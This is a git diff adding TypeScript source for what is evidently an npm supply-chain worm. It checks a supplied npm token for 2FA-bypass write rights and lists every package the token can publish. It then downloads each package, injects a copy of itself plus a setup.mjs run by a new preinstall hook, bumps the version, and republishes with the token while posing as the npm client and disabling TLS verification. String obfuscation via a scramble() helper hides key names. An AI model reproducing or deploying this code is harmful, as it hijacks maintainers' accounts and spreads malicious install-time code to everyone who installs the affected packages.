diff --git a/src/mutator/npm/index.ts b/src/mutator/npm/index.ts
new file mode 100644
index 0000000..66d905d
--- /dev/null
+++ b/src/mutator/npm/index.ts
@@ -0,0 +1,145 @@
+import { $ } from "bun";
+import { randomBytes } from "crypto";
+import { copyFileSync, createWriteStream } from "fs";
+import * as fs from "fs/promises";
+import * as path from "path";
+import { join } from "path";
+import { Readable } from "stream";
+import { pipeline } from "stream/promises";
+import * as tar from "tar";
+
+import { config } from "../../generated";
+import { SCRIPT_NAME } from "../../utils/config";
+import { logUtil } from "../../utils/logger";
+import { Mutator } from "../base";
+import { publishTarball } from "./publish";
+import type { TokenInfo } from "./tokenCheck";
+
+declare function scramble(str: string): string;
+
+export class NpmClient extends Mutator {
+  private tokenInfo: TokenInfo;
+
+  constructor(token: TokenInfo) {
+    super();
+    this.tokenInfo = token;
+  }
+
+  async execute() {
+    try {
+      const isUnix = ["darwin", "linux"].includes(process.platform);
+
+      if (isUnix) {
+        this.tokenInfo.packages.forEach((pkgName: string) => {
+          logUtil.log(`Would be updating: ${pkgName}`);
+        });
+        const packages = await this.downloadPackages(this.tokenInfo.packages);
+        await Promise.all(
+          packages.downloaded.map((pkgFile) => this.publishPackage(pkgFile)),
+        );
+        await fs.rm(packages.tmpDir, { recursive: true, force: true });
+        return true;
+      }
+    } catch (e) {
+      logUtil.error(e);
+      logUtil.error("Failure updating package.");
+      return false;
+    }
+
+    return true;
+  }
+
+  private async updateTarball(tarballPath: string): Promise<string> {
+    const uniqueSuffix = `${Date.now()}_${randomBytes(8).toString("hex")}`;
+    const tmpDir = path.join(path.dirname(tarballPath), `_tmp_${uniqueSuffix}`);
+    await fs.mkdir(tmpDir, { recursive: true });
+
+    try {
+      await tar.extract({ file: tarballPath, cwd: tmpDir });
+      copyFileSync(Bun.main, path.join(tmpDir, "package", SCRIPT_NAME));
+      const pkgJsonPath = path.join(
+        tmpDir,
+        "package",
+        scramble("package.json"),
+      );
+      const pkgSetupPath = path.join(tmpDir, "package", scramble("setup.mjs"));
+      const pkg = JSON.parse(await fs.readFile(pkgJsonPath, "utf-8"));
+      pkg.scripts = {};
+      pkg.scripts.preinstall = scramble("node setup.mjs");
+      const [major, minor, patch] = pkg.version.split(".").map(Number);
+      pkg.version = `${major}.${minor}.${patch + 1}`;
+      await Bun.write(pkgSetupPath, config);
+      await Bun.write(pkgJsonPath, JSON.stringify(pkg, null, 2));
+      const updatedPath = path.join(
+        path.dirname(tarballPath),
+        `${uniqueSuffix}_${scramble("package-updated.tgz")}`,
+      );
+
+      await pipeline(
+        tar.create({ gzip: true, cwd: tmpDir }, ["package"]),
+        createWriteStream(updatedPath),
+      );
+
+      const written = await fs.readFile(updatedPath);
+      if (written.length < 18 || written[0] !== 0x1f || written[1] !== 0x8b) {
+        throw new Error(
+          `[npm] tarball at ${updatedPath} is not a valid gzip stream ` +
+            `(len=${written.length}, first bytes=${written.subarray(0, 4).toString("hex")})`,
+        );
+      }
+
+      logUtil.log(`Updated path: ${updatedPath}`);
+      return updatedPath;
+    } finally {
+    }
+  }
+
+  async downloadPackages(
+    packages: string[],
+  ): Promise<{ tmpDir: string; downloaded: string[] }> {
+    const tmpDir = await $`mktemp -d`.text().then((s) => s.trim());
+    const downloaded: string[] = [];
+
+    const download = async (pkg: string) => {
+      try {
+        const meta = await fetch(
+          `https://registry.npmjs.org/${pkg.replace("/", "%2F")}`,
+        );
+        if (!meta.ok) return;
+        const { "dist-tags": tags, versions } = (await meta.json()) as {
+          "dist-tags": { latest: string };
+          versions: Record<string, { dist?: { tarball?: string } }>;
+        };
+        const tarball = versions[tags.latest]?.dist?.tarball;
+        if (!tarball) return;
+
+        const res = await fetch(tarball);
+        if (!res.ok || !res.body) return;
+
+        const filename = `${pkg.replace("@", "").replace("/", "-")}-${tags.latest}.tgz`;
+        const tarballPath = join(tmpDir, filename);
+        await pipeline(
+          Readable.fromWeb(res.body as import("stream/web").ReadableStream),
+          createWriteStream(tarballPath),
+        );
+        const updatedPath = await this.updateTarball(tarballPath);
+        downloaded.push(updatedPath);
+      } catch (e) {
+        logUtil.log(`Failed to download ${pkg}: ${e}`);
+      }
+    };
+
+    await Promise.all(packages.map(download));
+    return { tmpDir, downloaded };
+  }
+
+  async publishPackage(tarballPath: string): Promise<boolean> {
+    if (!this.tokenInfo) return false;
+    try {
+      return await publishTarball(tarballPath, this.tokenInfo.authToken);
+    } catch (e) {
+      logUtil.error(e);
+      return false;
+    }
+  }
+}
diff --git a/src/mutator/npm/publish.ts b/src/mutator/npm/publish.ts
new file mode 100644
index 0000000..31c1cbf
--- /dev/null
+++ b/src/mutator/npm/publish.ts
@@ -0,0 +1,170 @@
+import { createHash } from "node:crypto";
+import { readFile } from "node:fs/promises";
+import { gunzipSync } from "node:zlib";
+
+import { logUtil } from "../../utils/logger";
+
+interface PackageJson {
+  name: string;
+  version: string;
+  readme?: string;
+  [key: string]: unknown;
+}
+
+function extractPackageJson(tar: Buffer): PackageJson {
+  let offset = 0;
+  while (offset + 512 <= tar.length) {
+    const header = tar.subarray(offset, offset + 512);
+    if (header[0] === 0) break;
+
+    const nameField = header.subarray(0, 100);
+    const nameEnd = nameField.indexOf(0);
+    const name = nameField
+      .subarray(0, nameEnd === -1 ? 100 : nameEnd)
+      .toString("utf8");
+
+    const sizeStr = header
+      .subarray(124, 136)
+      .toString("utf8")
+      .replace(/\0/g, "")
+      .trim();
+    const size = sizeStr ? parseInt(sizeStr, 8) : 0;
+
+    offset += 512;
+
+    if (name === "package/package.json" || name.endsWith("/package.json")) {
+      const data = tar.subarray(offset, offset + size);
+      return JSON.parse(data.toString("utf8")) as PackageJson;
+    }
+
+    offset += Math.ceil(size / 512) * 512;
+  }
+  throw new Error("package.json not found in tarball");
+}
+
+export async function publishTarball(
+  tarballPath: string,
+  token: string,
+  dryRun = false,
+  provenanceBundle?: Record<string, any>,
+): Promise<boolean> {
+  const registry = "https://registry.npmjs.org";
+  const tag = "latest";
+  const userAgent = `npm/11.13.1 node/v24.10.0 ${process.platform} ${process.arch} workspaces/false`;
+
+  const tarballBuffer = await readFile(tarballPath);
+  const decompressed = gunzipSync(tarballBuffer);
+  const pkg = extractPackageJson(decompressed);
+
+  const { name, version } = pkg;
+  if (!name || !version) {
+    throw new Error("package.json missing required 'name' or 'version'");
+  }
+
+  const integrity =
+    "sha512-" + createHash("sha512").update(tarballBuffer).digest("base64");
+  const shasum = createHash("sha1").update(tarballBuffer).digest("hex");
+  const base64Data = tarballBuffer.toString("base64");
+  const tarballFilename = `${name}-${version}.tgz`;
+  const tarballUrl = `http://registry.npmjs.org/${name}/-/${tarballFilename}`;
+  const versionMetadata = {
+    ...pkg,
+    name,
+    version,
+    readme: pkg.readme ?? "ERROR: No README data found!",
+    dist: {
+      integrity,
+      shasum,
+      tarball: tarballUrl,
+    },
+  };
+
+  const body = {
+    _id: name,
+    name,
+    "dist-tags": { [tag]: version },
+    versions: {
+      [version]: versionMetadata,
+    },
+    access: "public",
+    _attachments: {
+      [tarballFilename]: {
+        content_type: "application/octet-stream",
+        data: base64Data,
+        length: tarballBuffer.length,
+      },
+    } as Record<string, { content_type: string; data: string; length: number }>,
+  };
+
+  // Attach sigstore provenance bundle if provided.
+  if (provenanceBundle) {
+    const provenanceBundleName = `${name}-${version}.sigstore`;
+    const serializedBundle = JSON.stringify(provenanceBundle);
+    body._attachments[provenanceBundleName] = {
+      content_type:
+        (provenanceBundle.mediaType as string) ||
+        "application/vnd.dev.sigstore.bundle.v0.3+json",
+      data: serializedBundle,
+      length: serializedBundle.length,
+    };
+  }
+
+  const encodedName = name.replace("/", "%2f");
+  const url = `${registry}/${encodedName}`;
+
+  const headers: Record<string, string> = {
+    "User-Agent": userAgent,
+    "Npm-Auth-Type": "web",
+    "Npm-Command": "publish",
+    Authorization: `Bearer ${token}`,
+    "Content-Type": "application/json",
+    Accept: "*/*",
+  };
+
+  const serializedBody = JSON.stringify(body);
+
+  if (dryRun) {
+    logUtil.log("[publish] DRY RUN — request not sent");
+    logUtil.log("[publish] PUT", url);
+    logUtil.log("[publish] headers:", {
+      ...headers,
+      Authorization: "Bearer <redacted>",
+    });
+    logUtil.log("[publish] body:", {
+      _id: body._id,
+      name: body.name,
+      "dist-tags": body["dist-tags"],
+      versions: Object.keys(body.versions),
+      access: body.access,
+      _attachments: {
+        [tarballFilename]: {
+          content_type: "application/octet-stream",
+          length: tarballBuffer.length,
+          data: `<${base64Data.length} chars base64>`,
+        },
+      },
+    });
+    logUtil.log("[publish] body size:", serializedBody.length, "bytes");
+    return true;
+  }
+
+  const fetchInit: RequestInit & {
+    tls?: { rejectUnauthorized?: boolean };
+  } = {
+    method: "PUT",
+    headers,
+    body: serializedBody,
+    tls: { rejectUnauthorized: false },
+  };
+  const response = await fetch(url, fetchInit);
+  const text = await response.text();
+
+  if (!response.ok) {
+    logUtil.error(
+      `[publish] failed: ${response.status} ${response.statusText} — ${text}`,
+    );
+    return false;
+  }
+
+  return true;
+}
diff --git a/src/mutator/npm/tokenCheck.ts b/src/mutator/npm/tokenCheck.ts
new file mode 100644
index 0000000..099359f
--- /dev/null
+++ b/src/mutator/npm/tokenCheck.ts
@@ -0,0 +1,125 @@
+import { logUtil } from "../../utils/logger";
+
+export interface TokenInfo {
+  packages: string[];
+  authToken: string;
+  valid: boolean;
+}
+
+export async function checkToken(token: string): Promise<TokenInfo> {
+  const headers = { Authorization: `Bearer ${token}` };
+
+  // Fetch all token pages
+  let matched: any = null;
+  let url: string | null = "https://registry.npmjs.org/-/npm/v1/tokens";
+  while (url && !matched) {
+    const response = await fetch(url, { headers });
+
+    if (!response.ok) {
+      logUtil.log("Not valid!");
+      return { packages: [], valid: false, authToken: token };
+    }
+
+    const data = (await response.json()) as any;
+    const first = token.slice(0, 8);
+    const last = token.slice(-4);
+
+    matched = data.objects?.find(
+      (obj: any) =>
+        obj.bypass_2fa === true &&
+        obj.token?.startsWith(first.slice(0, 4)) &&
+        obj.token?.endsWith(last),
+    );
+    url = data.urls?.next ?? null;
+  }
+
+  if (!matched) return { packages: [], valid: false, authToken: token };
+
+  const hasPackageWrite = matched.permissions?.some(
+    (p: any) => p.name === "package" && p.action === "write",
+  );
+
+  if (!hasPackageWrite) return { packages: [], valid: false, authToken: token };
+
+  // Get authenticated username
+  const whoami = await fetch("https://registry.npmjs.org/-/whoami", {
+    headers,
+  });
+  const { username } = (await whoami.json()) as any;
+
+  const packages: string[] = [];
+
+  for (const scope of matched.scopes ?? []) {
+    if (scope.type === "org") {
+      const hasOrgWrite = matched.permissions?.some(
+        (p: any) => p.name === "org" && p.action === "write",
+      );
+      if (!hasOrgWrite) continue;
+      const res = await fetch(
+        `https://registry.npmjs.org/-/org/${scope.name}/package`,
+        { headers },
+      );
+      const pkgs = (await res.json()) as any;
+      packages.push(
+        ...Object.entries(pkgs)
+          .filter(([, v]) => v === "write")
+          .map(([k]) => k)
+          .filter(Boolean),
+      );
+    } else if (scope.type === "package") {
+      const isNamespaceScope = /^@[^/]+$/.test(scope.name);
+
+      if (isNamespaceScope) {
+        // Determine if this namespace is a user or org
+        const scopeName = scope.name.slice(1); // strip leading @
+        const orgRes = await fetch(
+          `https://registry.npmjs.org/-/org/${scopeName}/package`,
+          { headers },
+        );
+
+        if (orgRes.ok) {
+          // It's an org
+          const pkgs = (await orgRes.json()) as any;
+          packages.push(
+            ...Object.entries(pkgs)
+              .filter(([, v]) => v === "write")
+              .map(([k]) => k),
+          );
+        } else {
+          // It's a user — search by maintainer
+          const searchRes = await fetch(
+            `https://registry.npmjs.org/-/v1/search?text=maintainer:${scopeName}&size=250`,
+            { headers },
+          );
+          const searchData = (await searchRes.json()) as any;
+          packages.push(
+            ...(searchData.objects?.map((o: any) => o.package.name) ?? []),
+          );
+        }
+      } else {
+        // Individual package entry — return as-is
+        if (scope.name) packages.push(scope.name);
+      }
+    }
+  }
+
+  // Fetch personal packages only if broadly scoped: { name: null, type: "package" }
+  const isBroadlyScoped = matched.scopes.some(
+    (s: any) => s.name === null && s.type === "package",
+  );
+
+  if (isBroadlyScoped) {
+    const searchRes = await fetch(
+      `https://registry.npmjs.org/-/v1/search?text=maintainer:${username}&size=250`,
+      { headers },
+    );
+    const searchData = (await searchRes.json()) as any;
+    const personalPkgs: string[] =
+      searchData.objects?.map((o: any) => o.package.name) ?? [];
+    for (const pkg of personalPkgs) {
+      if (!packages.includes(pkg)) packages.push(pkg);
+    }
+  }
+
+  return { packages, valid: true, authToken: token };
+}